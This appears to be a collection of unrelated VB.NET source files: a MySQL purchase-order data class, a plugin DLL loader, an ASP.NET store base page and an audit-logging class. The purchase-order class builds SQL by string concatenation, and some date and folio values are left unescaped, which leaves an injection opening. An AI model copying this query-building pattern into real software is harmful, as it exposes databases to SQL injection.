Public Class dbPedidos Dim Comm As New MySql.Data.MySqlClient.MySqlCommand Public ID As Integer Public Folio As String Public IdProveedor As Integer Public Fecha As String Public Proveedor As dbproveedores Public Desglosar As Byte Public Estado As Byte Public Autorizado As Byte Public EmbarcarA As String Public LAB As String Public Condiciones As String Public EmbarcarPor As String Public ConsignarA As String Public Observaciones As String Public IdSucursal As Integer Public Sub New(ByVal Conexion As MySql.Data.MySqlClient.MySqlConnection) ID = -1 IdProveedor = -1 Fecha = "" Desglosar = 0 Estado = 0 Autorizado = 0 EmbarcarA = "" LAB = "" Condiciones = "" EmbarcarPor = "" ConsignarA = "" Observaciones = "" Folio = "" IdSucursal = 0 Comm.Connection = Conexion Proveedor = New dbproveedores(Comm.Connection) End Sub Public Function ChecaFolioRepetido(ByVal pFolio As String) As Boolean Dim Resultado As Integer = 0 Comm.CommandText = "select count(idpedido) from tblpedidos where folio='" + Replace(pFolio, "'", "''") + "'" Resultado = Comm.ExecuteScalar If Resultado = 0 Then ChecaFolioRepetido = False Else ChecaFolioRepetido = True End If End Function Public Sub New(ByVal pID As Integer, ByVal Conexion As MySql.Data.MySqlClient.MySqlConnection) ID = pID Comm.Connection = Conexion Dim DReader As MySql.Data.MySqlClient.MySqlDataReader Comm.CommandText = "select * from tblpedidos where idpedido=" + ID.ToString DReader = Comm.ExecuteReader If DReader.Read() Then IdProveedor = DReader("idproveedor") Fecha = DReader("fecha") Desglosar = DReader("desglosar") Autorizado = DReader("autorizado") Estado = DReader("estado") EmbarcarA = DReader("embarcara") LAB = DReader("lab") Condiciones = DReader("condiciones") EmbarcarPor = DReader("embarcarpor") ConsignarA = DReader("consignara") Observaciones = DReader("observaciones") IdSucursal = DReader("idsucursal") End If DReader.Close() Proveedor = New dbproveedores(IdProveedor, Comm.Connection) End Sub Public Sub Guardar(ByVal pIdProveedor As Integer, ByVal pFecha As String, ByVal pDesglosar As Byte, ByVal pEstado As Byte, ByVal pAutorizado As Byte, ByVal pEmbarcarA As String, ByVal pLab As String, ByVal pCondiciones As String, ByVal pEmbarcarPor As String, ByVal pConsignarA As String, ByVal pObservaciones As String, ByVal pFolio As String, ByVal pIdSucursal As Integer) IdProveedor = pIdProveedor Fecha = pFecha Desglosar = pDesglosar Autorizado = pAutorizado Estado = pEstado EmbarcarA = pEmbarcarA LAB = pLab Condiciones = pCondiciones EmbarcarPor = pEmbarcarPor ConsignarA = pConsignarA Folio = pFolio Observaciones = pObservaciones IdSucursal = pIdSucursal Comm.CommandText = "insert into tblpedidos(idproveedor,fecha,desglosar,estado,autorizado,embarcara,lab,condiciones,embarcarpor,consignara,observaciones,folio,idsucursal) values(" + IdProveedor.ToString + ",'" + Fecha + "'," + Desglosar.ToString + "," + Estado.ToString + "," + Autorizado.ToString + ",'" + Replace(EmbarcarA, "'", "''") + "','" + Replace(LAB, "'", "''") + "','" + Replace(Condiciones, "'", "''") + "','" + Replace(EmbarcarPor, "'", "''") + "','" + Replace(ConsignarA, "'", "''") + "','" + Replace(Observaciones, "'", "''") + "','" + Folio + "'," + IdSucursal.ToString + ")" Comm.ExecuteNonQuery() Comm.CommandText = "select max(idpedido) from tblpedidos" ID = Comm.ExecuteScalar End Sub Public Sub Modificar(ByVal pID As Integer, ByVal pFecha As String, ByVal pDesglosar As Byte, ByVal pEstado As Byte, ByVal pAutorizado As Byte, ByVal pEmbarcarA As String, ByVal pLab As String, ByVal pCondiciones As String, ByVal pEmbarcarPor As String, ByVal pConsignarA As String, ByVal pObservaciones As String) ID = pID Fecha = pFecha Desglosar = pDesglosar Autorizado = pAutorizado Estado = pEstado EmbarcarA = pEmbarcarA LAB = pLab Condiciones = pCondiciones EmbarcarPor = pEmbarcarPor ConsignarA = pConsignarA Observaciones = pObservaciones Comm.CommandText = "update tblpedidos set fecha='" + Fecha + "',desglosar=" + Desglosar.ToString + ",estado=" + Estado.ToString + ",autorizado=" + Autorizado.ToString + ",embarcara='" + Replace(EmbarcarA, "'", "''") + "',lab='" + Replace(LAB, "'", "''") + "',condiciones='" + Replace(Condiciones, "'", "''") + "',embarcarpor='" + Replace(EmbarcarPor, "'", "''") + "',consignara='" + Replace(ConsignarA, "'", "''") + "',observaciones='" + Replace(Observaciones, "'", "''") + "' where idpedido=" + ID.ToString Comm.ExecuteNonQuery() End Sub Public Sub Eliminar(ByVal pID As Integer) Comm.CommandText = "delete from tblpedidos where idpedido=" + pID.ToString Comm.ExecuteNonQuery() End Sub Public Function Consulta(ByVal pFecha As String, ByVal pFecha2 As String, Optional ByVal pNombreClave As String = "", Optional ByVal pEstado As Byte = 3, Optional ByVal pAutorizado As Byte = 3) As DataView Dim DS As New DataSet Comm.CommandText = "select tblpedidos.idpedido,tblpedidos.fecha,tblpedidos.folio,tblproveedores.clave,tblproveedores.nombre as Proveedor from tblpedidos inner join tblproveedores on tblpedidos.idproveedor=tblproveedores.idproveedor where fecha>='" + pFecha + "' and fecha<='" + pFecha2 + "'" If pEstado <> 2 Then Comm.CommandText += " and tblpedidos.estado=" + pEstado.ToString End If If pAutorizado <> 2 Then Comm.CommandText += " and tblpedidos.autorizado=" + pAutorizado.ToString End If If pNombreClave <> "" Then Comm.CommandText += " and concat(tblproveedores.clave,tblproveedores.nombre) like '%" + Replace(pNombreClave, "'", "''") + "%'" End If Dim DA As New MySql.Data.MySqlClient.MySqlDataAdapter(Comm) DA.Fill(DS, "tblpedidos") Return DS.Tables("tblpedidos").DefaultView End Function Public Function DaTotal(ByVal pidCompra As Integer, ByVal pidMoneda As Integer) As Double Dim DReader As MySql.Data.MySqlClient.MySqlDataReader Dim IDs As New Collection Dim Precio As Double Dim IdMonedaC As Integer Dim Total As Double = 0 Dim Encontro As Double Dim Cont As Integer = 1 Comm.CommandText = "select iddetalle from tblpedidosdetalles where idpedido=" + pidCompra.ToString DReader = Comm.ExecuteReader While DReader.Read IDs.Add(DReader("iddetalle")) End While DReader.Close() While Cont <= IDs.Count Comm.CommandText = "select precio from tblpedidosdetalles where iddetalle=" + IDs.Item(Cont).ToString Precio = Comm.ExecuteScalar Comm.CommandText = "select idmoneda from tblpedidosdetalles where iddetalle=" + IDs.Item(Cont).ToString IdMonedaC = Comm.ExecuteScalar If IdMonedaC <> pidMoneda Then Comm.CommandText = "select if((select cantidad from tblmonedasconversiones where idmoneda=" + pidMoneda.ToString + " and idmoneda2=" + IdMonedaC.ToString + ") is null,0,(select cantidad from tblmonedasconversiones where idmoneda=" + pidMoneda.ToString + " and idmoneda2=" + IdMonedaC.ToString + "))" Encontro = Comm.ExecuteScalar If Encontro = 0 Then Comm.CommandText = "select if((select cantidad from tblmonedasconversiones where idmoneda2=" + pidMoneda.ToString + " and idmoneda=" + IdMonedaC.ToString + ") is null,1,(select cantidad from tblmonedasconversiones where idmoneda2=" + pidMoneda.ToString + " and idmoneda=" + IdMonedaC.ToString + "))" Encontro = Comm.ExecuteScalar Precio = Precio * Encontro Else Precio = Precio / Encontro End If End If Total += Precio Cont += 1 End While Return Total End Function End Class
Imports System.Reflection Public Class PluginLoader Public Enum AddonType IPlugin = 10 ISomeOtherAddonType2 = 20 ISomeOtherAddonType3 = 30 End Enum Public Function GetAddonsByType(ByVal addonType As AddonType) As List(Of System.Type) Dim currentApplicationDirectory As String = My.Application.Info.DirectoryPath Dim addonsRootDirectory As String = currentApplicationDirectory & "\Plugins\" Dim loadedAssembly As Assembly = Nothing Dim listOfModules As New List(Of System.Type) If My.Computer.FileSystem.DirectoryExists(addonsRootDirectory) Then Dim dllFilesFound = My.Computer.FileSystem.GetFiles(addonsRootDirectory, Microsoft.VisualBasic.FileIO.SearchOption.SearchAllSubDirectories, "*.dll") For Each dllFile In dllFilesFound Try loadedAssembly = Assembly.LoadFile(dllFile) Catch ex As Exception End Try If loadedAssembly IsNot Nothing Then For Each assemblyModule In loadedAssembly.GetModules For Each moduleType In assemblyModule.GetTypes() For Each interfaceImplemented In moduleType.GetInterfaces() If interfaceImplemented.Name = addonType.ToString Then listOfModules.Add(moduleType) End If Next Next Next End If Next End If Return listOfModules End Function End Class
Imports BLL Imports ENTITIES Public Class CatalogoVista Private vCatalogoBLL As CatalogoBLL Public Property CatalogoBLL() As CatalogoBLL Get Return vCatalogoBLL End Get Set(ByVal value As CatalogoBLL) vCatalogoBLL = value End Set End Property Private vCatalogoENT As CatalogoENT Public Property CatalogoENT() As CatalogoENT Get Return vCatalogoENT End Get Set(ByVal value As CatalogoENT) vCatalogoENT = value End Set End Property Sub New() Me.CatalogoBLL = New CatalogoBLL Me.CatalogoENT = New CatalogoENT End Sub End Class
Namespace Classes Public Class DelegatesSignatures ''' <summary> ''' Callback in <see cref="FileOperations.ReadFile"/> to load a ''' DataGridView in the form. ''' </summary> ''' <param name="arguments"></param> Public Delegate Sub OnReadLine(arguments As NewLineArgs) End Class End NameSpace
Imports BVSoftware.Bvc5.Core Imports System.Data Imports System.Collections.ObjectModel Public Class BaseStorePage Inherits System.Web.UI.Page Private _CanonicalUrl As String = String.Empty Private _useTabIndexes As Boolean = False Private _FbOpenGraph As New FacebookOpenGraph Public Property PageTitle() As String Get Return Me.Page.Title End Get Set(ByVal Value As String) Me.Page.Title = Value End Set End Property Public Property CanonicalUrl() As String Get If String.IsNullOrEmpty(Me._CanonicalUrl) Then Me.LoadCanonicalUrl() End If Return Me._CanonicalUrl End Get Set(value As String) Me._CanonicalUrl = value End Set End Property Public Property UseTabIndexes() As Boolean Get Return _useTabIndexes End Get Set(ByVal value As Boolean) _useTabIndexes = value End Set End Property Public Shadows Property MetaKeywords() As String Get Dim m As HtmlControls.HtmlMeta = Page.Header.FindControl("MetaKeywords") If m IsNot Nothing Then Return m.Content Else Return String.Empty End If End Get Set(ByVal value As String) Dim m As HtmlControls.HtmlMeta = Page.Header.FindControl("MetaKeywords") If m IsNot Nothing Then m.Content = value End If End Set End Property Public Shadows Property MetaDescription() As String Get Dim m As HtmlControls.HtmlMeta = Page.Header.FindControl("MetaDescription") If m IsNot Nothing Then Return m.Content Else Return String.Empty End If End Get Set(ByVal value As String) Dim m As HtmlControls.HtmlMeta = Page.Header.FindControl("MetaDescription") If m IsNot Nothing Then m.Content = value End If End Set End Property Public Overridable ReadOnly Property DisplaysActiveCategoryTab() As Boolean Get Return False End Get End Property Public Overridable ReadOnly Property IsClosedPage() As Boolean Get Return False End Get End Property Public Property FbOpenGraph As FacebookOpenGraph Get Return Me._FbOpenGraph End Get Set(value As FacebookOpenGraph) Me._FbOpenGraph = value End Set End Property Private Sub Page_PreInit(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreInit 'log affiliate request If Not Request.Params(WebAppSettings.AffiliateQueryStringName) Is Nothing Then Dim affid As String = String.Empty Try affid = Request.Params(WebAppSettings.AffiliateQueryStringName) Contacts.Affiliate.RecordReferral(affid) Catch ex As Exception EventLog.LogEvent("BaseStorePage - Page_Init", "Error loading affiliate " & ex.Message, Metrics.EventLogSeverity.Warning) End Try End If ' add coupon from query string Dim couponCode As String = Request.QueryString("code") If Not String.IsNullOrEmpty(couponCode) Then Dim cart As Orders.Order = SessionManager.CurrentShoppingCart() Dim opResult As BVOperationResult = cart.AddCouponCode(couponCode, True) If opResult.Success Then SessionManager.InvalidateCachedCart() Else AuditLog.LogEvent(BVSoftware.Commerce.Metrics.AuditLogSourceModule.Marketing, BVSoftware.Commerce.Metrics.AuditLogEntrySeverity.Warning, "BaseStorePage - Page_Init", opResult.Message) End If End If Anthem.Manager.Register(Me) 'If this is a private store, force login before showing anything. If WebAppSettings.IsPrivateStore = True Then If SessionManager.IsUserAuthenticated = False Then Dim nameOfPage As String = Request.AppRelativeCurrentExecutionFilePath ' Check to make sure we're not going to end up in an endless loop of redirects If (Not nameOfPage.ToLower.StartsWith("~/login.aspx")) AndAlso _ (Not nameOfPage.ToLower.StartsWith("~/forgotpassword.aspx")) AndAlso _ (Not nameOfPage.ToLower.StartsWith("~/contactus.aspx")) Then Response.Redirect("~/Login.aspx?ReturnUrl=" & HttpUtility.UrlEncode(Me.Request.RawUrl)) End If End If End If End Sub Public Overridable ReadOnly Property RequiresSSL() As Boolean Get Return False End Get End Property Protected Overridable Sub StoreClosedCheck() If WebAppSettings.StoreClosed = True Then If SessionManager.IsAdminUser = False Then Response.Redirect("Closed.aspx") End If End If End Sub Private Sub Page_LoadComplete(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.LoadComplete If Not Page.IsPostBack Then If WebAppSettings.MetaTitleAppendStoreName Then Me.Page.Title = Me.PageTitle + " - " + WebAppSettings.SiteName Else Me.Page.Title = Me.PageTitle End If End If End Sub Protected Sub BasePage_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load If Not Page.IsPostBack Then Me.MetaKeywords = WebAppSettings.MetaKeywords Me.MetaDescription = WebAppSettings.MetaDescription End If StoreClosedCheck() If RequiresSSL Then If WebAppSettings.UseSsl Then ' Assure that both URL's are not the same so the system doesn't try to redirect to the same URL and loop. If WebAppSettings.SiteSecureRoot.ToLower <> WebAppSettings.SiteStandardRoot.ToLower Then If Not Request.IsSecureConnection Then Utilities.SSL.SSLRedirect(Me, Utilities.SSL.SSLRedirectTo.SSL) End If End If End If Else If WebAppSettings.UseSsl Then If Request.IsSecureConnection Then Utilities.SSL.SSLRedirect(Me, Utilities.SSL.SSLRedirectTo.NonSSL) End If End If End If If WebAppSettings.CanonicalUrlEnabled Then RenderCanonicalUrl() End If If WebAppSettings.FacebookOpenGraphEnabled Then Me.LoadFacebookOpenGraph() Me.FbOpenGraph.AddMetaTags() End If ' Add CurrentPage to Context for Core Access ' HttpContext.Current.Items.Add("CurrentPage", Me) End Sub Public Sub ValidateCurrentUserHasPermission(ByVal p As String) Dim l As New Collection(Of String) l.Add(p) ValidateCurrentUserHasPermissions(l) End Sub Public Sub ValidateCurrentUserHasPermissions(ByVal p As Collection(Of String)) If SessionManager.IsUserAuthenticated = False Then ' Send to Login Page Response.Redirect("~/login.aspx?ReturnUrl=" & HttpUtility.UrlEncode(Me.Request.RawUrl)) Else If Membership.UserAccount.DoesUserHaveAllPermissions(SessionManager.GetCurrentUserId, p) = False Then ' Send to no permissions page Response.Redirect("~/nopermissions.aspx") End If End If End Sub Protected Overrides Sub Render(ByVal writer As System.Web.UI.HtmlTextWriter) 'If WebAppSettings.MoveViewstateToBottomOfPage Then ' Dim stringWriter As New System.IO.StringWriter() ' Dim htmlWriter As New HtmlTextWriter(stringWriter) ' MyBase.Render(htmlWriter) ' Dim html As String = stringWriter.ToString() ' Dim startPoint As Integer = html.IndexOf("<input type=""hidden"" name=""__VIEWSTATE""") ' If (startPoint >= 0) Then ' Dim endPoint As Integer = html.IndexOf("/>", startPoint) + 2 ' Dim viewStateInput As String = html.Substring(startPoint, endPoint - startPoint) ' html = html.Remove(startPoint, endPoint - startPoint) ' Dim FormEndStart As Integer = html.IndexOf("</form>") ' If (FormEndStart >= 0) Then ' html = html.Insert(FormEndStart, viewStateInput) ' End If ' End If ' writer.Write(html) 'Else MyBase.Render(writer) 'End If End Sub Protected Overridable Sub LoadCanonicalUrl() Dim requestedUrl As String = Utilities.UrlRewriter.CreateFullyQualifiedUrl(Request.RawUrl) If String.Compare(requestedUrl, WebAppSettings.SiteStandardRoot) = 0 OrElse String.Compare(requestedUrl, WebAppSettings.SiteStandardRoot.Trim("/"c) + "/default.aspx", True) = 0 Then ' homepage Me.CanonicalUrl = WebAppSettings.SiteStandardRoot Else ' everything else (with query string excluded) Dim pos As Integer = requestedUrl.IndexOf("?"c) If pos > 0 Then Me.CanonicalUrl = requestedUrl.Substring(0, pos) Else Me.CanonicalUrl = requestedUrl End If End If End Sub Protected Overridable Sub RenderCanonicalUrl() If Not String.IsNullOrEmpty(Me.CanonicalUrl) Then If Me.Header IsNot Nothing Then Dim link As New HtmlLink() link.EnableViewState = False link.Href = Me.CanonicalUrl link.Attributes.Add("rel", "canonical") Try Me.Header.Controls.Add(link) Catch ex As Exception ' do nothing End Try End If End If End Sub Protected Overridable Sub LoadFacebookOpenGraph() ' SiteName If String.IsNullOrEmpty(Me.FbOpenGraph.SiteName) Then Me.FbOpenGraph.SiteName = WebAppSettings.SiteName End If ' Url If String.IsNullOrEmpty(Me.FbOpenGraph.Url) Then Me.FbOpenGraph.Url = Me.CanonicalUrl End If ' Title If String.IsNullOrEmpty(Me.FbOpenGraph.Title) Then Me.FbOpenGraph.Title = Me.PageTitle End If End Sub End Class
Imports System.Data.SqlClient Imports System.Web.HttpRequest Imports UGPP.CobrosCoactivo.Logica Imports UGPP.CobrosCoactivo.Entidades Imports System.IO Imports log4net Public Class LogProcesos Public ListaDiccionario As List(Of DiccionarioAditoria) Private Shared ReadOnly log As log4net.ILog = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType) Public Enum ErrorType ErrorLog = 1 WarningLog = 2 DebugLog = 3 FatalLog = 4 End Enum Public Sub New() ListaDiccionario = New TraductorAuditoriaBLL().obtenerDiccionario() End Sub Private mens As String ReadOnly Property ErrorMsg() As String Get Return mens End Get End Property Private Function CreateScript2(ByVal Commando As SqlClient.SqlCommand) As String Dim strParametros As String = "/* " For i As Integer = 0 To Commando.Parameters.Count - 1 strParametros &= Commando.Parameters(i).ParameterName Select Case Commando.Parameters(i).DbType Case DbType.String, DbType.StringFixedLength, DbType.AnsiString, DbType.AnsiStringFixedLength strParametros &= String.Format(" {0} = '{1}', ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value) Case DbType.Binary strParametros &= String.Format(" {0} = '{1}', ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value) Case DbType.Boolean, DbType.Byte, DbType.SByte strParametros &= String.Format(" {0} = {1}, ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value) Case DbType.Currency, DbType.Decimal, DbType.Double, DbType.Int16, DbType.Int32, DbType.Int64, DbType.Single, DbType.UInt16, DbType.UInt32, DbType.UInt64, DbType.VarNumeric strParametros &= String.Format(" {0} = {1}, ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value) Case DbType.Date, DbType.DateTime, DbType.DateTime2, DbType.DateTimeOffset, DbType.Time strParametros &= String.Format(" {0} = '{1}', ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value) Case DbType.Guid strParametros &= String.Format(" {0} = '{1}', ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value) Case DbType.Object strParametros &= String.Format(" {0} = '{1}', ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value.ToString) Case DbType.Xml strParametros &= String.Format(" {0} = '{1}', ", Commando.Parameters(i).ParameterName, Commando.Parameters(i).Value) End Select Next strParametros &= "*/ " & Commando.CommandText Return strParametros End Function Private Function CreateScript(ByVal Commando As SqlClient.SqlCommand) As String Dim strComandtext As String = Commando.CommandText Dim strValue As String = "", strParaName As String = "" For i As Integer = 0 To Commando.Parameters.Count - 1 Select Case Commando.Parameters(i).DbType Case DbType.String, DbType.StringFixedLength, DbType.AnsiString, DbType.AnsiStringFixedLength strValue = String.Format("'{0}'", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) Case DbType.Binary strValue = String.Format("'{0}'", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) Case DbType.Boolean, DbType.Byte, DbType.SByte strValue = String.Format("{0}", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) Case DbType.Currency, DbType.Decimal, DbType.Double, DbType.Int16, DbType.Int32, DbType.Int64, DbType.Single, DbType.UInt16, DbType.UInt32, DbType.UInt64, DbType.VarNumeric strValue = String.Format("{0}", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) Case DbType.Date, DbType.DateTime, DbType.DateTime2, DbType.DateTimeOffset, DbType.Time strValue = String.Format("'{0}'", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) Case DbType.Guid strValue = String.Format("'{0}'", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) Case DbType.Object strValue = String.Format("'{0}'", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) Case DbType.Xml strValue = String.Format("'{0}'", Commando.Parameters(i).Value) strParaName = String.Format("{0}", Commando.Parameters(i).ParameterName) End Select If strComandtext.Contains(strParaName) Then strComandtext = strComandtext.Replace(strParaName, strValue) End If Next Return strComandtext End Function Public Function ClientIpAddress() As String Try Dim currentRequest As HttpRequest = HttpContext.Current.Request Dim ipAddress As String = currentRequest.ServerVariables("HTTP_X_FORWARDED_FOR") If ipAddress Is Nothing OrElse ipAddress.ToLower() = "unknown" Then ipAddress = currentRequest.ServerVariables("REMOTE_ADDR") End If Return ipAddress Catch Return String.Empty End Try End Function Public Function ClientHostName() As String Try Dim hostN As String = System.Net.Dns.GetHostEntry(ClientIpAddress).HostName If hostN = Nothing Then Return String.Empty Else Return hostN End If Catch Return String.Empty End Try End Function Public Function AplicationName() As String Try Dim resultado As String resultado = System.Configuration.ConfigurationManager.AppSettings("ApplicationName") & " " & System.Configuration.ConfigurationManager.AppSettings("ApplicationVersion") Return resultado Catch Return String.Empty End Try End Function Public Function SaveLog(ByVal UsuarioId As String, ByVal NombreModulo As String, ByVal Documento As String, ByVal Commando As SqlCommand) As Boolean Dim resultadoCommand As String Try Dim Connection As New SqlClient.SqlConnection(Funciones.CadenaConexion) resultadoCommand = CreateScript(Commando) Dim cmd As New SqlCommand cmd.Connection = Connection cmd.CommandText = "INSERT INTO LOG_AUDITORIA " & "([LOG_USER_ID], [LOG_USER_CC], [LOG_HOST], [LOG_IP], [LOG_FECHA], [LOG_APLICACION], [LOG_MODULO], [LOG_DOC_AFEC], [LOG_CONSULTA] ,[LOG_NEGOCIO]) VALUES " & "(@LOG_USER_ID , @LOG_USER_CC , @LOG_HOST , @LOG_IP , @LOG_FECHA , @LOG_APLICACION , @LOG_MODULO , @LOG_DOC_AFEC , @LOG_CONSULTA, @LOG_NEGOCIO) " cmd.Parameters.Add("@LOG_USER_ID", SqlDbType.VarChar, 40).Value = UsuarioId cmd.Parameters.Add("@LOG_USER_CC", SqlDbType.VarChar, 50).Value = "" cmd.Parameters.Add("@LOG_HOST", SqlDbType.VarChar, 50).Value = If((ClientHostName() Is Nothing), String.Empty, ClientHostName()) cmd.Parameters.Add("@LOG_IP", SqlDbType.VarChar, 20).Value = If((ClientIpAddress() Is Nothing), String.Empty, ClientIpAddress()) cmd.Parameters.Add("@LOG_FECHA", SqlDbType.DateTime).Value = Date.Now cmd.Parameters.Add("@LOG_APLICACION", SqlDbType.VarChar, 100).Value = If((AplicationName() Is Nothing), String.Empty, AplicationName()) cmd.Parameters.Add("@LOG_MODULO", SqlDbType.VarChar, 100).Value = NombreModulo cmd.Parameters.Add("@LOG_DOC_AFEC", SqlDbType.VarChar, 50).Value = Documento cmd.Parameters.Add("@LOG_CONSULTA", SqlDbType.VarChar, 5000).Value = resultadoCommand cmd.Parameters.Add("@LOG_NEGOCIO", SqlDbType.VarChar, 150).Value = GenerarComandoNegocio(resultadoCommand) Connection.Open() cmd.ExecuteNonQuery() Connection.Close() Connection.Dispose() cmd.Dispose() Return True Catch ex As Exception mens = ex.Message Return False End Try End Function Public Function SaveLog2(ByVal UsuarioId As String, ByVal NombreModulo As String, ByVal Documento As String, ByVal Commando As SqlCommand, ByVal cnx As SqlConnection, ByVal transac As SqlTransaction) As Boolean Try 'Dim Connection As New SqlClient.SqlConnection(Funciones.CadenaConexion) Dim comando As String comando = CreateScript(Commando) Dim cmd As New SqlCommand cmd.Connection = cnx cmd.CommandText = "INSERT INTO LOG_AUDITORIA " & "([LOG_USER_ID], [LOG_USER_CC], [LOG_HOST], [LOG_IP], [LOG_FECHA], [LOG_APLICACION], [LOG_MODULO], [LOG_DOC_AFEC], [LOG_CONSULTA] ,[LOG_NEGOCIO]) VALUES " & "(@LOG_USER_ID , @LOG_USER_CC , @LOG_HOST , @LOG_IP , @LOG_FECHA , @LOG_APLICACION , @LOG_MODULO , @LOG_DOC_AFEC , @LOG_CONSULTA, @LOG_NEGOCIO) " cmd.Parameters.Add("@LOG_USER_ID", SqlDbType.VarChar, 40).Value = UsuarioId cmd.Parameters.Add("@LOG_USER_CC", SqlDbType.VarChar, 50).Value = "" cmd.Parameters.Add("@LOG_HOST", SqlDbType.VarChar, 50).Value = If((ClientHostName() Is Nothing), String.Empty, ClientHostName()) cmd.Parameters.Add("@LOG_IP", SqlDbType.VarChar, 20).Value = If((ClientIpAddress() Is Nothing), String.Empty, ClientIpAddress()) cmd.Parameters.Add("@LOG_FECHA", SqlDbType.DateTime).Value = Date.Now cmd.Parameters.Add("@LOG_APLICACION", SqlDbType.VarChar, 100).Value = If((AplicationName() Is Nothing), String.Empty, AplicationName()) cmd.Parameters.Add("@LOG_MODULO", SqlDbType.VarChar, 100).Value = NombreModulo cmd.Parameters.Add("@LOG_DOC_AFEC", SqlDbType.VarChar, 50).Value = Documento cmd.Parameters.Add("@LOG_CONSULTA", SqlDbType.VarChar, 5000).Value = comando cmd.Parameters.Add("@LOG_NEGOCIO", SqlDbType.VarChar, 150).Value = GenerarComandoNegocio(comando) cmd.Transaction = transac cmd.ExecuteNonQuery() Return True Catch ex As Exception mens = ex.Message Return False End Try End Function ''' <summary> ''' Sobre escritura de la función de auditoria ''' </summary> ''' <returns></returns> Public Overridable Function SaveLog(ByVal UsuarioId As String, ByVal NombreModulo As String, ByVal Documento As String, ByVal Commando As String) As Boolean Dim resultado As Boolean resultado = False Try Using Connection As New SqlClient.SqlConnection(Funciones.CadenaConexion) Using cmd As New SqlCommand cmd.Connection = Connection cmd.CommandText = "INSERT INTO LOG_AUDITORIA " & "([LOG_USER_ID], [LOG_USER_CC], [LOG_HOST], [LOG_IP], [LOG_FECHA], [LOG_APLICACION], [LOG_MODULO], [LOG_DOC_AFEC], [LOG_CONSULTA], [LOG_NEGOCIO]) VALUES " & "(@LOG_USER_ID , @LOG_USER_CC , @LOG_HOST , @LOG_IP , @LOG_FECHA , @LOG_APLICACION , @LOG_MODULO , @LOG_DOC_AFEC , @LOG_CONSULTA, @LOG_NEGOCIO) " cmd.Parameters.Add("@LOG_USER_ID", SqlDbType.VarChar, 40).Value = UsuarioId cmd.Parameters.Add("@LOG_USER_CC", SqlDbType.VarChar, 50).Value = "" cmd.Parameters.Add("@LOG_HOST", SqlDbType.VarChar, 50).Value = If((ClientHostName() Is Nothing), String.Empty, ClientHostName()) cmd.Parameters.Add("@LOG_IP", SqlDbType.VarChar, 20).Value = If((ClientIpAddress() Is Nothing), String.Empty, ClientIpAddress()) cmd.Parameters.Add("@LOG_FECHA", SqlDbType.DateTime).Value = Date.Now cmd.Parameters.Add("@LOG_APLICACION", SqlDbType.VarChar, 100).Value = If((AplicationName() Is Nothing), String.Empty, AplicationName()) cmd.Parameters.Add("@LOG_MODULO", SqlDbType.VarChar, 100).Value = NombreModulo cmd.Parameters.Add("@LOG_DOC_AFEC", SqlDbType.VarChar, 50).Value = Documento cmd.Parameters.Add("@LOG_CONSULTA", SqlDbType.VarChar, 5000).Value = Commando cmd.Parameters.Add("@LOG_NEGOCIO", SqlDbType.VarChar, 150).Value = GenerarComandoNegocio(Commando) Connection.Open() cmd.ExecuteNonQuery() Connection.Close() Connection.Dispose() cmd.Dispose() End Using End Using resultado = True Catch ex As Exception mens = ex.Message End Try Return resultado End Function ''' <summary> ''' Realiza la traducción de los comandos a descripciones de negocio ''' </summary> ''' <param name="llave"></param> ''' <returns></returns> Public Function Traductor(ByVal llave As String) As String Dim resultado As String Dim entidad As New UGPP.CobrosCoactivo.Entidades.DiccionarioAditoria entidad = ListaDiccionario.Where(Function(x) x.VALOR_ORIGINAL = llave.ToUpper).FirstOrDefault() If entidad IsNot Nothing Then resultado = entidad.VALOR_DESTINO Else resultado = llave End If Return resultado End Function ''' <summary> ''' Genera el comando de negocio ''' </summary> ''' <param name="comando"></param> ''' <returns></returns> Public Function GenerarComandoNegocio(ByVal comando As String) As String comando = comando.Replace("(", " ") comando = comando.Replace(")", " ") comando = comando.Replace("[", " ") comando = comando.Replace("]", " ") comando = comando.Replace(",", " ") comando = comando.Replace(";", " ") Dim arrayPalabras As String() arrayPalabras = comando.Split(" ") Dim resultado As New StringBuilder For Each word In arrayPalabras If word IsNot String.Empty Then resultado.Append(String.Concat(Me.Traductor(word), " ")) End If Next Return resultado.ToString() End Function ''' <summary> ''' Salva los errores en un log tipo archivo ''' </summary> ''' <param name="mensaje">mensaje de error</param> ''' <param name="clase">clase en que ocurre el error</param> ''' <param name="modulo">modulo de donde ocurre</param> Public Sub ErrorLog(ByVal mensaje As String, ByVal clase As String, ByVal modulo As String, ByVal tipo As ErrorType, Optional ByVal StarkTrace As String = Nothing) Dim path As String path = HttpContext.Current.Server.MapPath(ConfigurationManager.AppSettings("UgppLogFile")) log4net.Config.XmlConfigurator.Configure(New FileInfo(path)) If StarkTrace IsNot Nothing Then mensaje = mensaje & StarkTrace End If Select Case tipo Case 1 log.Error(String.Concat(clase, "::", modulo, "::", mensaje)) Case 2 log.Warn(String.Concat(clase, "::", modulo, "::", mensaje)) Case 3 log.Debug(String.Concat(clase, "::", modulo, "::", mensaje)) Case 4 log.Fatal(String.Concat(clase, "::", modulo, "::", mensaje)) Case Else log.Error(String.Concat(clase, "::", modulo, "::", mensaje)) End Select End Sub End Class
